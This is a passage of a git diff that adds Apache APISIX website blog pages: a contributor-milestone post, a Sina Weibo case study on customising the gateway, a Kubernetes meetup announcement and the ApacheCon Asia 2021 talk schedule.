+<p><img src="https://user-images.githubusercontent.com/23514812/124587288-096e2a80-de8a-11eb-94b3-95b5932c0093.jpg" alt="poster"></p>
+<p>The goal of Apache APISIX is not just to be an API gateway. Apache APISIX hopes to be the fourth and seventh layer of traffic processing and connection in the cloud-native era. All configurations in Apache APISIX are dynamic, which is very important for elastic scaling and multi-cloud deployment in the cloud-native era.
+Welcome to join the Apache APISIX community, welcome to use Apache APISIX!</p>
+<h2 id="contributors-say">Contributors Say</h2>
+<p>When reaching 200 contributors, the contributors in the community sent their blessings to Apache APISIX. Here are what they want to say to Apache APISIX.</p>
+<p><a href="https://github.com/juzhiyuan">juzhiyuan</a>: The Apache APISIX open source community is extremely active, and the monthly release rhythm always brings new features that are hotly discussed in the community. Bless Apache APISIX, and hope that more contributors will participate, learn the spirit of open source, and participate in open source projects.</p>
+<p><a href="https://github.com/Serendipity96">Serendipity96</a>: The project construction is very friendly to novices. A good first issue is set up. Although I know little about code, I can also participate in it. I am able to modify some documentation issues. The community deals issues and pr very quickly.</p>
+<p><a href="https://github.com/Yiyiyimu">Yiyiyimu</a>: From the total ignorance before the Open Source Promotion Plan, to the surprise of nominating as committer at the end of the event, thank you Apache APISIX for showing me the brilliance of the open source community. As the 104th contributor, congratulations to Apache APISIX for reaching 200 contributors!</p>
+<p><a href="https://github.com/tokers">tokers</a>: Since open source of Apache APISIX in 2019, both software quality and community building have become more and more complete and healthy in just two years. It has become the most popular open source API gateway project, as a part of the community. I can clearly feel everyone’s enthusiasm for Apache APISIX, which is also a major driving force for the continuous improvement of this software. I hope that in the future, Apache APISIX can beco [...]
+<p><a href="https://github.com/iamayushdas">iamayushdas</a></p><div></div> to Apache APISIX for completing 200 contributors 🥳 It’s a very auspicious moment for me on being the part of such an amazing organisation “Apache APISIX ”. This increased number of contributors not only show how much useful the project is but also it is possible because of supporting developers who not only helps experienced contributors but also newbies who are even new to the OpenSource culture,OpenSource cultur [...]
+<p><a href="https://github.com/tao12345666333">tao12345666333</a>: Apache APISIX has a very active and friendly community. Whether it is an issue or a PR, you will get detailed feedback and the experience is very good. I wish the Apache APISIX community is getting bigger and bigger, with more and more functions, and 666 together.
+community activity</p>
+<h2 id="join-the-apache-apisix-community">Join the Apache APISIX community</h2>
+<p>Sincerely invite you to join the Apache APISIX open source community, let us work together to create the best API gateway in the cloud-native era!</p>
+<p>There is no barrier to becoming an Apache APISIX contributor. In the Apache APISIX community, it not only includes code contributions, but also documentation, testing, design, and video production. Posting pr or issue on Github, sharing cases through live broadcast, helping you solve problems in exchange groups, and participating in offline Meetup are all ways to participate in the community.Participating communities can also get exclusive peripherals of Apache APISIX, cool T-shirts, [...]
+<p><img src="https://user-images.githubusercontent.com/23514812/124587334-1723b000-de8a-11eb-8a8f-c10dfd9aa0a2.png" alt="img"></p>
+<p>Looks forward to your joining!</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sp [...]
\ No newline at end of file
diff --git a/blog/2021/07/06/the-road-to-customization-of-sina-weibo-api-gateway-based-on-apache-apisix/index.html b/blog/2021/07/06/the-road-to-customization-of-sina-weibo-api-gateway-based-on-apache-apisix/index.html
new file mode 100644
index 00000000000..d28b0030872
--- /dev/null
+++ b/blog/2021/07/06/the-road-to-customization-of-sina-weibo-api-gateway-based-on-apache-apisix/index.html
@@ -0,0 +1,108 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Sina Weibo: Migrating from NGINX to APISIX | Apache APISIX</title><meta name="description" content="Sina Weibo replaced their NGINX-based API gateway with APISIX for dynamic routing, hot reloading, and DevOps-friendly management."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/07/06/the-road-to-c [...]
+<p>Sina Weibo’s previous HTTP API gateway was built based on Nginx, which brought up a series of problems. After some research, we chose Apache APISIX, which is dynamic, efficient and stable to meet the fast response requirements of the business.</p>
+</blockquote>
+<!--truncate-->
+<p>Sina Weibo’s previous HTTP API gateway was built based on Nginx, and all routing rules were stored in Nginx configuration files, which brought a series of problems: long upgrade steps, inflexibility and difficulty in troubleshooting problems when adding, deleting, changing or tracking services. After some research, we chose the closest expected, cloud-based micro-service API gateway: Apache APISIX, which is dynamic, efficient and stable to meet the rapid response requirements of the b [...]
+<h2 id="background-information">Background Information</h2>
+<p>In Sina Weibo, if an operation engineer wants to create an API service, he/she needs to write it in the Nginx configuration file first, submit it to the git code repository, and wait for other operation engineer responsible for the online checkout to confirm the success of the audit before they can push the deployment to the line, and then brutally notify Nginx to reload it, and only then is the service change successful.</p>
+<p>The whole process is long and inefficient, and cannot meet the trend of low-code DevOps operation and maintenance. Therefore, we expect to have a management backend portal, where operation engineer can operate all the http api routing and other configurations in the UI interface.</p>
+<p><img src="https://user-images.githubusercontent.com/23514812/125594900-d4c01fb7-3af4-4e8c-8779-f3f16b7f0bca.png" alt="Sina Weibo Publish Process"></p>
+<p>After some research, we chose the closest to the expected cloud-based micro-services API gateway: Apache APISIX.</p>
+<ol>
+<li>Based on Nginx, the technology stack is unified before and after the canary release upgrade, security, stability, etc. are guaranteed.</li>
+<li>Built-in unified control surface, unified management of multiple proxy services.</li>
+<li>Dynamic API call, you can complete the common resource modifications in real time, compared to the traditional Nginx configuration + reload way progress is obvious.</li>
+<li>Rich routing options to meet the needs of Sina Weibo routing.</li>
+<li>Good scalability, support Consul kv.</li>
+<li>Good performance.</li>
+</ol>
+<p><img src="https://user-images.githubusercontent.com/23514812/125596483-aee21ac7-a902-4e44-abc4-8bfda4f51f82.png" alt="Apache APISIX Architecture"></p>
+<h2 id="why-did-we-choose-custom-development">Why Did We Choose Custom Development?</h2>
+<p>In the actual business situation, we cannot use Apache APISIX directly for the following reasons.</p>
+<ol>
+<li>Apache APISIX does not support SaaS multi-tenancy, and there are many upper-layer applications that actually need to be operated and maintained, and each business line development or operation and maintenance student only needs to manage and maintain their own rules, upstreams and other rules, which are not associated with each other.</li>
+<li>When the routing rules are published online, they need fast roll back support if problems arise.</li>
+<li>When creating or editing existing routing rules, we are not so sure about publishing them directly to the wire, and then we need it to be able to support canary release to a specified gateway instance for simulation or local testing.</li>
+<li>The need for API gateways to be able to support Consul KV-style service registration and discovery mechanisms.</li>
+</ol>
+<p>None of these requirements are currently supported built-in by Apache APISIX, so custom development is the only way to make Apache APISIX truly usable within Weibo.</p>
+<h2 id="what-did-we-change-in-the-control-plane-of-apacheapisix">What Did We Change in the Control Plane of Apache APISIX?</h2>
+<p>For our custom development, we used Apache APISIX version 1.5, and Apache APISIX Dashboard compatible with Apache APISIX version 1.5.</p>
+<p>The goal of custom development is simple and clear, that is, completely zero code, UI, all seven layers of HTTP API service creation, editing, updating, up and down and all other actions must be done on the Dashboard. Therefore, in the actual environment, we forbid development and operation and operation engineer to call APISIX Admin API directly. If we skip the Dashboard and call APISIX Admin API directly, it will lead to the gateway operation not being audited at the UI level, so we [...]
+<p>There is a slightly special case, operations and maintenance need to call the API to complete the bulk import of services, you can call the H5 Dashboard API to complete, so as to comply with the unified workflow.</p>
+<h3 id="support-saas-based-services">Support Saas-based Services</h3>
+<p>A complete database of product lines and business lines is available at the enterprise level, and each specific product line and business line can be represented by a saas_id value. Then, before creating the gateway configuration data for insertion into the ETCD, a saas_id value is plugged in and all the data has a SaaS attribution in terms of logical attributes.</p>
+<p>Users, roles and the actual product line of operation are then associated with the following correspondence.</p>
+<p><img src="https://static.apiseven.com/202108/1646899698131-8e90270e-9849-435e-b776-0827c04b293c.png" alt="Users, roles and product association"></p>
+<p>A user can be assigned to undertake different operations and maintenance roles to manage and maintain different product lines of services.</p>
+<p>The administrator role is very easy to understand, the core role of operation and maintenance services, for service addition / deletion / update / check; in addition, we have the concept of read-only users, read-only users are generally used to view the service configuration, view the workflow, debugging and so on.</p>
+<h3 id="add-audit-function">Add Audit Function</h3>
+<p><img src="https://static.apiseven.com/202108/1646899698135-0b92ed91-0803-4f2c-8d4b-6873c19fa492.png" alt="Audit Function1"></p>
+<p>In the open source version, a route can be published directly after it is created or modified.</p>
+<p>In our custom version, after a route is created or modified, it needs to go through an audit workflow before it can be published, which lengthens the process, but we think it is more credible to publish after the authorization is reviewed at the enterprise level.</p>
+<p><img src="https://static.apiseven.com/202108/1646900059586-f7feca14-57ed-417b-aadc-ca02e31bfa47.png" alt="Audit Function2"></p>
+<p>When creating routing rules, they must be reviewed by default. To take into account efficiency, when entering new services, you can choose the no-review, fast-publishing channel and click the publish button directly.</p>
+<p><img src="https://static.apiseven.com/202108/1646900090210-6f08f1e5-fc62-4148-9d5a-879bc96a54d2.png" alt="Audit Function3"></p>
+<p>When an important API route has problems after a certain adjustment rule release goes live, you can select the previous version of the routing rule for a quick roll back, with the granularity of a single route roll back that will not affect other routing rules.</p>
+<p>The internal processing flow of a single route roll back is shown in the following figure.</p>
+<p><img src="https://static.apiseven.com/202108/1646900126327-f297be1b-c7e5-4991-9fea-0e1e87bea937.png" alt="Audit Function4"></p>
+<p>We need to create version database storage for each release of a single route. This way, when we do a full release after the audit, each release will generate a version number and the corresponding full configuration data; then the version list grows. When we need to roll back, go to the version list and select a corresponding version to rollback; in a sense, the roll back is actually a special form of full release.</p>
+<h3 id="support-canary-release">Support Canary Release</h3>
+<p>Our custom-developed canary release feature is different from what the community generally understands as canary release, and is less risky compared to full deployment. When a change to a routing rule is large, we can choose to publish and take effect only on a specific limited number of gateway instances, instead of publishing and taking effect on all gateway instances, thus reducing the scope of the release, lowering the risk, and enabling fast trial and error.</p>
+<p>Although canary release is a low-frequency behavior, there is still a state transition between it and full volume release.</p>
+<p><img src="https://static.apiseven.com/202108/1646900161267-83d3bb57-596c-4e23-8fa3-4999739a77ca.png" alt="Support Canary Release1"></p>
+<p>When the percentage of canary release decreases to 0%, it is the state of full release; when the canary release rises to 100%, it is the next full release, and this is its state transition.
+The full canary release feature requires some API support exposed on the gateway instance in addition to the administrative backend support.</p>
+<p><img src="https://static.apiseven.com/202108/1646900188100-bf697358-4d6a-44d7-ab3d-223728e860b2.png" alt="Support Canary Release2"></p>
+<p>The above screenshot shows the screenshot when operating canary release to select a specific gateway instance.</p>
+<p>The full canary release feature requires some API support exposed on the gateway instance in addition to the administrative backend support.</p>
+<p><img src="https://static.apiseven.com/202108/1646900211377-0c1df098-c5be-4c69-bda6-eabd1518f0f5.png" alt="Support Canary Release3"></p>
+<p>Canary release API fixed URI, the unified path is /admin/services/gray/{SAAS_ID}/ routes. Different HTTP Method presents different business meanings, POST means create, DELETE means to stop canary release, GET means to view.</p>
+<h4 id="activation-process">Activation Process</h4>
+<p><img src="https://static.apiseven.com/202108/1646900248884-ca1757d7-e6c0-45a3-a677-d29184b494d8.png" alt="Activation Process"></p>
+<p>An API is published from the gateway level, and after receiving the data the worker process checks the legitimacy of the data sent, and the legitimate data is broadcast to all worker processes via events. Then the canary release API is called and the canary release rules are added and take effect when the next request is processed.</p>
+<h4 id="deactivation-process">Deactivation Process</h4>
+<p><img src="https://static.apiseven.com/202108/1646900280677-87a90d54-c78d-4660-afab-33bbc433010d.png" alt="Deactivation Process"></p>
+<p>The deactivation process is basically the same as the canary release distribution process. The API for canary release distribution is called by the DELETE method and broadcasted to all work processes. If it exists in the route table, delete it and try to restore it from the ETCD. If the canary release is deactivated, make sure that the original ETCD can be restored without affecting the normal service.</p>
+<h3 id="support-fastimport">Support Fast Import</h3>
+<p>In addition to supporting the creation of routes on the management page, many operation engineer are still more accustomed to using scripts to import. We have a large number of HTTP API services, and it would be very time-consuming to manually enter them one by one. If you import through scripts, you can reduce a lot of service migration resistance.</p>
+<p>By exposing the Go Import HTTP API for the management backend, the operation engineer can fill in the assigned token, SaaS ID and related UIDs in the ready-made Bash Script file to import the services into the management backend more quickly. The subsequent operation of importing services still needs to be done in the management backend H5 interface.</p>
+<p><img src="https://user-images.githubusercontent.com/23514812/125597641-54bf1649-0238-4973-8501-48c1cead328e.png" alt="Fast Import"></p>
+<h2 id="what-did-we-change-in-the-data-plane-of-apacheapisix">What Did We Change in the Data Plane of Apache APISIX?</h2>
+<p>Custom development based on the Apache APISIX data surface requires a number of code path rules to be followed. In particular, the code for the Apache APISIX gateway and the custom code are stored in separate paths, and the two work together and can each be iterated independently.</p>
+<p><img src="https://static.apiseven.com/202108/1646900844425-46711779-fa2c-4242-a3c4-311fd5ea2563.png" alt="Changes in the Data Plane"></p>
+<h3 id="modification-of-installation-package">Modification of Installation Package</h3>
+<p>So when packaging, not only custom code, but also dependencies, configuration, etc. all need to be packaged together for distribution. As for the output format, you can either choose Docker or type it into a tarball, as required.</p>
+<p><img src="https://static.apiseven.com/202108/1646900306141-5f85e7e9-3e13-4477-957c-657d5435bdef.png" alt="Modification of Installation Package"></p>
+<h3 id="custom-development-ofcode">Custom Development of Code</h3>
+<p>Some custom modules need to be loaded first when they are initialized, so that the code intrusion into Apache APISIX becomes minimal, requiring only modifications to the Nginx.conf file.</p>
+<p><img src="https://static.apiseven.com/202108/1646900356726-16c7b794-c5d9-43a4-af60-7dc675f56dc7.png" alt="Custom Development of Code1"></p>
+<p>For example, if you need to stuff an upstream object with a saas_id attribute field, you can call the following method at initialize time.</p>
+<p><img src="https://static.apiseven.com/202108/1646900387986-d7036503-98a9-4cb8-a47e-27e7ae83796b.png" alt="Custom Development of Code2"></p>
+<p>You need to be called in the initworker_by_lua* phase to complete the initialization for similar modifications.</p>
+<p>Another scenario: how to directly rewrite the implementation of a currently existing module. For example, if you have a debug module and now you need to refactor its initialization logic, i.e. rewrite the init_worker function.</p>
+<p><img src="https://user-images.githubusercontent.com/23514812/125598066-fd0da722-7fb0-44a2-99cd-15bf07fd1ad6.png" alt="Custom Development of Code3"></p>
+<p>The advantage of this approach is that it not only keeps the original physical API files intact, but also adds custom API-specific logic rewrites, thus reducing the cost of later code management and bringing great convenience for subsequent upgrades.</p>
+<p>If you have similar needs in a production environment, you can refer to the above approach.</p>
+<h3 id="support-consulkv">Support Consul KV</h3>
+<p>Currently, most of Weibo services use Consul KV as a service registration and discovery mechanism. Previously, Apache APISIX did not support the Consul KV method of service discovery mechanism, so a <code>consul_kv.lua</code> module needs to be added to the gateway layer, and a UI interface needs to be provided in the management backend as follows.</p>
+<p><img src="https://static.apiseven.com/202108/1646900423967-5b5db4c1-1c2c-495c-88ef-e0f4937bcef8.png" alt="Support Consul KV1"></p>
+<p>In the upstream list in the console, everything is filled in at a glance, and the metadata of all registered nodes is automatically presented when the mouse is moved over the registered service address, which greatly facilitates the daily operation of our operation engineers.</p>
+<p><img src="https://static.apiseven.com/202108/1646900450031-bf0109c1-c859-4fbd-9a47-967c193d27ff.png" alt="Support Consul KV2"></p>
+<p>The <code>consul_kv.lua</code> module is relatively simple to configure at the gateway level, supporting multiple connections to different Consul clusters at the same time, but this is also due to the requirements of the actual environment.</p>
+<p><img src="https://static.apiseven.com/202108/1646900471956-9490a2d0-256d-4f15-b24e-6f8204a60a17.png" alt="Support Consul KV3"></p>
+<p>This code has now been merged into the APISIX master branch and is included in version 2.4.</p>
+<p>The module’s process model uses a subscription publishing model, where each gateway instance has one and only one process that polls multiple Consul service clusters with long connections and broadcasts new data to all business sub-processes as it becomes available.</p>
+<h2 id="problems-encountered-during-customization">Problems Encountered during Customization</h2>
+<h3 id="high-costs-for-migration">High Costs for Migration</h3>
+<p>At the operation and maintenance level, we are actually facing a problem of migration cost.</p>
+<p>Any new thing appeared, used to replace the existing foundation, will not be a smooth ride, but need to go through a period of time slowly familiar with, improve knowledge, and then keep trial and error, slowly move forward, and gradually eliminate all kinds of doubts in our minds. Only after a period of stable operation and various problems have been solved, will the next step of more rapid replacement phase be entered. There is no doubt that the use of APISIX in Weibo is still in th [...]
+<p>For example, during the migration process, you need to import various upstream and routing rules from the Nginx.conf file into the gateway system administration backend one by one, which is a very tedious and manual process.</p>
+<p><img src="https://user-images.githubusercontent.com/23514812/125598279-1fa93710-e5a0-4dc4-b42b-46b02f66f6a8.png" alt="High Costs for Migration"></p>
+<p>At the same time, we will also encounter Nginx various complex variable judgment statements, at present, we mainly find one to solve one, and continue to accumulate experience.</p>
+<h3 id="high-costs-forupgrades">High Costs for Upgrades</h3>
+<p>High level of customization, resulting in higher costs for subsequent upgrades. We are currently experiencing the same problem as everyone else, many people should be based on version 1.x Apache APISIX how to upgrade to 2.0, we also have a Dashboard of private custom development, the subsequent upgrade costs should be higher.</p>
+<h3 id="feeding-the-community">Feeding the Community</h3>
+<p>The final part is about the Apache APISIX community. We have been thinking about how to feed features of interest to the Apache APISIX community for everyone to use and modify together.</p>
+<p>It is an objective fact that our custom development is driven primarily by actual internal Weibo requirements, and there is some variation from the evolution driven by the Apache APISIX community. However, excluding code that contains sensitive data, there are always common needs at the code level for more general functionality that the enterprise and open source communities can push together to make more stable and mature. For example, a common Consul KV service discovery module, han [...]
+<p>These common requirements are typically polished internally for a period of time until they fully satisfy internal requirements, and then gradually submitted to the community open source branch, but this also requires a process.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a [...]
\ No newline at end of file
diff --git a/blog/2021/07/21/apache-apisix-kubernetes/index.html b/blog/2021/07/21/apache-apisix-kubernetes/index.html
new file mode 100644
index 00000000000..e1d134276a5
--- /dev/null
+++ b/blog/2021/07/21/apache-apisix-kubernetes/index.html
@@ -0,0 +1,26 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Live | Apache APISIX x Kubernetes</title><meta name="description" content="On Friday, July 23rd, 2021 at 00:00 GMT, Apache APISIX committer Jintao Zhang will present "Run Apache APISIX in Kubernetes" at the Data on Kubernetes Community Meetup for global developers."><meta name="robots" content="index,follow"><link rel="canonical" href="https://api [...]
+<p>On Friday, July 23rd, 2021 at 00</p><div></div> GMT, Apache APISIX committer Jintao Zhang will share the topic “Run Apache APISIX in Kubernetes” at the Data on Kubernetes Community Meetup for developers around the world.<p></p>
+</blockquote>
+<!--truncate-->
+<p>In this talk, Jintao Zhang will share his experience of running Apache APISIX on Kubernetes and how to use Apache APISIX as an Ingress Controller. If you’re interested, don’t miss it, sign up now!</p>
+<h2 id="how-to-participate">How to participate</h2>
+<ul>
+<li>
+<p>Method 1: Click <a href="https://www.meetup.com/Data-on-Kubernetes-community/events/278922486/">here</a> to visit the registration page and register.</p>
+</li>
+<li>
+<p>Way 2: Go to the Zoom link at the beginning of the live broadcast to listen to the sharing: <a href="https://zoom.us/webinar/tJYofuChrzktGtI3wr8SZHACRnNkxr5cWgny">Meeting Room Live</a>.</p>
+</li>
+</ul>
+<h2 id="what-to-do-if-you-cant-make-it-to-the-live-stream">What to do if you can’t make it to the live stream</h2>
+<p>After the Meetup, we will upload the Meetup recording on Apache APISIX’s bilibili account. Welcome to follow the Apache APISIX bilibili account <a href="https://space.bilibili.com/551921247">Apache-APISIX</a>.</p>
+<h2 id="lecturer-introduction">Lecturer Introduction</h2>
+<p>Jintao Zhang is a cloud native technologist at Tributary Technology, Apache APISIX committer, Kubernetes ingress-nginx reviewer, and contributor to many open source projects such as containerd/Docker/Helm/Kubernetes/KIND. He is also active in the open source community as a contributor, and is one of the maintainers of the K8S Weekly Eco Report.
+With 7 years in the industry, Jintao Zhang has a lot of practice and deep source code research on containerization technologies such as Docker and Kubernetes, and is one of the core organizers of PyCon China. He is also the author of “Kubernetes Hands-on” and “Docker Core Knowledge Must Know”. He runs the public number: MoeLove.</p>
+<p>He is also the author of Kubernetes Hands-on and Docker Core Knowledge.
+<img src="https://static.apiseven.com/202108/1630382172445-cf20986b-c939-497e-86a4-92da7064ae97.PNG" alt="Lecturer-Jintao Zhang"></p>
+<h2 id="about-apache-apisix">About Apache APISIX</h2>
+<p>Apache APISIX is a dynamic, real-time, high-performance open source API gateway that provides rich traffic management features such as load balancing, dynamic upstream, canary release, service fusion, authentication, observability, etc. Apache APISIX can help enterprises quickly and securely handle API and microservice traffic, including gateways, Kubernetes Ingress and Service Grid.</p>
+<p>Apache APISIX has been used by hundreds of enterprises worldwide to handle business-critical traffic, including finance, Internet, manufacturing, retail, carriers, and more, such as NASA, the European Union’s Digital Factory, China Airlines, China Mobile, Tencent, Huawei, Weibo, NetEase, Shell, 360, Taikang, and Nespresso Tea.</p>
+<p>More than 200 contributors have come together to create Apache APISIX, the world’s most active open source gateway project. Smart developers! Come join this active and diverse community and come together to bring more good things to the world!</p>
+<p><a href="https://github.com/apache/apisix">Apache APISIX GitHub project</a></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://w [...]
\ No newline at end of file
diff --git a/blog/2021/07/25/apachecon-asia/index.html b/blog/2021/07/25/apachecon-asia/index.html
new file mode 100644
index 00000000000..99b00716e1e
--- /dev/null
+++ b/blog/2021/07/25/apachecon-asia/index.html
@@ -0,0 +1,76 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>ApacheCon Asia 2021: Apache APISIX Technical Topics | Apache APISIX</title><meta name="description" content="This article introduces the topics shared by the cloud native API gateway Apache APISIX at ApacheCon Asia, including identity authentication, current limit and speed limit, etc."><meta name="robots" content="index,follow"><link rel="canonical" href [...]
+<p>ApacheCon is the official global conference series of the Apache Software Foundation. Since 1998, ApacheCon has been attracting participants at all levels to explore the “technologies of tomorrow” across more than 350 Apache projects and their diverse communities. ApacheCon Asia is the ApacheCon organizing committee’s online conference for the Asia-Pacific region. ApacheCon Asia 2021 will be held online from August 6-8 this year.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="about-apachecon-asia-2021">About ApacheCon Asia 2021</h2>
+<p>ApacheCon is the official global conference series of the Apache Software Foundation. Since 1998, ApacheCon has been attracting participants at all levels to explore the “technologies of tomorrow” across more than 350 Apache projects and their diverse communities.</p>
+<p>ApacheCon Asia is the ApacheCon organizing committee’s online ApacheCon conference for the Asia-Pacific region, with the primary goal of better serving the rapidly growing number of Apache users and contributors in the region. ApacheCon Asia 2021 will be held online from August 6-8 this year.</p>
+<p><img src="https://static.apiseven.com/202108/1635750552467-1d0013df-9caa-43a3-bed2-b914d856c413.png" alt="ApacheCon Asia 2021"></p>
+<p>The ApacheCon Asia 2021 team has recently announced the conference program. The Apache APISIX community is actively involved in this annual open source event, and has proposed a total of 8 API/microservices technology-related topics, which are rich in content and welcome your attention. For those who cannot attend the online conference, ApacheCon Asia 2021 also provides a replay and recorded video of each topic, please visit <a href="https://space.bilibili.com/609014805">Apache Local [...]
+<h2 id="about-api--microservices-technology-topics">About API / Microservices Technology Topics</h2>
+<p>APIs are the cornerstone of service connectivity, allowing us to build services and make them available to users; as applications become more complex, monolithic applications are gradually being split into microservices, allowing for rapid iteration of products while also creating technical challenges in security, maintenance, and observability.</p>
+<p>Apache APISIX is the top project of Apache and the most active open source gateway project in the world. In this topic, you will not only learn about the Apache APISIX design philosophy, but also learn about the best practices of the Apache APISIX project.</p>
+<h2 id="application-and-practice-of-apache-apisix-in-mobile-cloud-object-storage-eos">Application and Practice of Apache APISIX in Mobile Cloud Object Storage EOS</h2>
+<h3 id="session-description">Session Description</h3>
+<p>This talk is about the application and practice of Apache APISIX in China Mobile’s public cloud object storage EOS. First, we introduce the construction plan of China Mobile’s public cloud and the evolution of object storage products, then we explain why we chose Apache APISIX as the load balancing gateway, and introduce the three stages of EOS traffic management architecture evolution. At the same time, we also shared what practical production problems we solved based on Apache APISI [...]
+<h3 id="sharing-guests">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639465900639-ce850138-e0f5-4264-a902-be8ca94b93c0.png" alt="Yanshan Chen"></p>
+<p>Yanshan Chen - After graduation, he has been working on distributed storage software development and architecture design, and has been deeply involved in the construction process of mobile cloud, focusing on the selection of major technology solutions and landing development and construction work related to object storage. At the same time, he has rich practical experience in the field of distributed object storage, and is currently thinking about implementing object storage traffic g [...]
+<h3 id="share-time">Share Time</h3>
+<p>2021-08-07 15</p><div></div> GMT+8<p></p>
+<h2 id="using-apache-apisix-to-implement-flow-limiting-and-speed-limiting">Using Apache APISIX to implement flow limiting and speed limiting</h2>
+<p>When it comes to speed limiting, Nginx is the first thing that comes to mind, but Nginx is implemented through a configuration file that requires reloads for each change, making it extremely cumbersome to run and maintain. On the other hand, speed limiting conditions are limited to Nginx variables, making it difficult to achieve fine-grained speed limiting for business purposes.</p>
+<p>This session will show how to use Apache APISIX to achieve dynamic, fine-grained, and distributed reload limiting, and how to use plug-in orchestration to achieve reload limiting that better meets business needs.</p>
+<h3 id="guest-speakers">Guest Speakers</h3>
+<p><img src="https://static.apiseven.com/202108/1639465952917-9089d8e8-4509-4d14-91d9-84b587cb5e7d.png" alt="Junxu Chen"></p>
+<p>Junxu Chen - Internet veteran, worked in Sina, Xunlei, 360 and other well-known Internet companies, Apache APISIX Committer.</p>
+<h3 id="share-time-1">Share time</h3>
+<p>2021-08-06 13</p><div></div> GMT+8<p></p>
+<h2 id="testing-apache-apisix-recovery-with-chaoscom">Testing Apache APISIX recovery with Chaos.com</h2>
+<p>Apache APISIX is one of the leading API gateways OSS. To ensure that everything goes as planned, APISIX uses different kinds of tests, including unit, e2e and fuzzy tests. However, we are still not sure how APISIX will behave when some abnormal but unavoidable circumstances occur, such as network failure, IO stress or pod failure.</p>
+<p>Therefore, here we use Chaos Mesh, a Kubernetes-based chaos engineering platform that can smoothly inject different kinds of chaos and integrate them into our CI pipeline. At the end of this talk, the audience will learn where Chaos Engineering will benefit the API gateway and how to integrate Chaos Mesh into your own test pipeline.</p>
+<h3 id="sharing-guests-1">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639466011014-75736153-f109-4318-a693-38e3bb59cbdd.png" alt="Shuyang Wu"></p>
+<p>Shuyang Wu - Committer for Apache APISIX and Chaos Mesh, he leads the integration of Chaos Mesh with Apache APISIX CI.</p>
+<h3 id="share-time-2">Share Time</h3>
+<p>2021-08-06 14</p><div></div> GMT+8<p></p>
+<h2 id="authentication-and-authorization-with-apache-apisix">Authentication and Authorization with Apache APISIX</h2>
+<p>Authentication and authorization are very necessary features in API gateways. This way, the services located behind the gateway are protected from unauthorized or malicious access, data leakage, and hacking. Apache APISIX is a dynamic, real-time, high-performance API gateway. And it provides many plug-ins, including authentication and authorization like key-auth, Open-ID, wolf-RBAC, etc. This proposal describes how to use Apache APISIX for authentication and authorization.</p>
+<h3 id="sharing-guests-2">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639466066729-9b4d07e2-47f3-4725-99d5-5266864e1c73.png" alt="Xinxin Zhu"></p>
+<p>Xinxin Zhu - Apache APISIX Committer, with years of CDN experience and familiar with gateways.</p>
+<h3 id="share-time-3">Share time</h3>
+<p>2021-08-06 15</p><div></div> GMT+8<p></p>
+<h2 id="relying-on-the-community-to-make-apache-apisix-grow-fast">Relying on the community to make Apache APISIX grow fast</h2>
+<p>In the past year, Apache APISIX has become the most active API gateway project in the world, not only because of its advanced technology, but also because of the highly active community. As of today, there are 225 contributors from all over the world, and the number is still growing rapidly. This session will introduce APISIX’s experience in practicing “community over code”. As an idealistic startup, how to combine with Apache culture to make the startup grow fast.</p>
+<h3 id="guest-speakers-1">Guest Speakers</h3>
+<p><img src="https://static.apiseven.com/202108/1639466127487-bc14552c-5326-43f6-8753-c0df363c3922.png" alt="Yuansheng Wang"></p>
+<p>Yuansheng Wang - Founder and PMC member of open source enthusiast Apache APISIX.</p>
+<h3 id="share-time-4">Share time</h3>
+<p>2021-08-06 16</p><div></div> GMT+8<p></p>
+<h2 id="how-to-extend-apache-apisix-as-a-side-car-for-a-service-grid">How to extend Apache APISIX as a side car for a service grid</h2>
+<p>In this topic I will introduce the apisix-mesh-agent project, which has some capabilities to extend Apache APISIX as a sidecar in a service grid scenario, and more importantly, it uses the xDS protocol to get configurations from control planes like Istio, Kuma, etc. Afterwards, I will present future plans and expectations regarding the use of Apache APISIX in service grids.</p>
+<h3 id="sharing-guests-3">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639466178896-23fb5c6e-ccb1-46e0-ac02-55fef1b3bedf.png" alt="Chao Zhang"></p>
+<p>Chao Zhang - Apache APISIX PMC, OpenResty contributor, open source enthusiast, now working on Service Mesh, Kubernetes and API Gateway.</p>
+<h3 id="share-time-5">Share time</h3>
+<p>2021-08-07 13</p><div></div> GMT+8<p></p>
+<h3 id="evolution-of-apache-apisix">Evolution of Apache APISIX</h3>
+<p>Apache APISIX is one of the most popular API gateways: <a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a> I will describe the evolution of Apache APISIX, including.</p>
+<ol>
+<li>the good decisions we’ve made</li>
+<li>the bad decisions we’ve made</li>
+<li>our future plans</li>
+</ol>
+<h3 id="sharing-guests-4">Sharing Guests</h3>
+<p><img src="https://static.apiseven.com/202108/1639466430768-b416eea2-e8e3-4a50-91b9-2d6b05aead10.png" alt="Zexuan Luo"></p>
+<p>Zexuan Luo - Apache APISIX PMC, OpenResty developer.</p>
+<h3 id="share-time-6">Share time</h3>
+<p>2021-08-07 14</p><div></div> GMT+8<p></p>
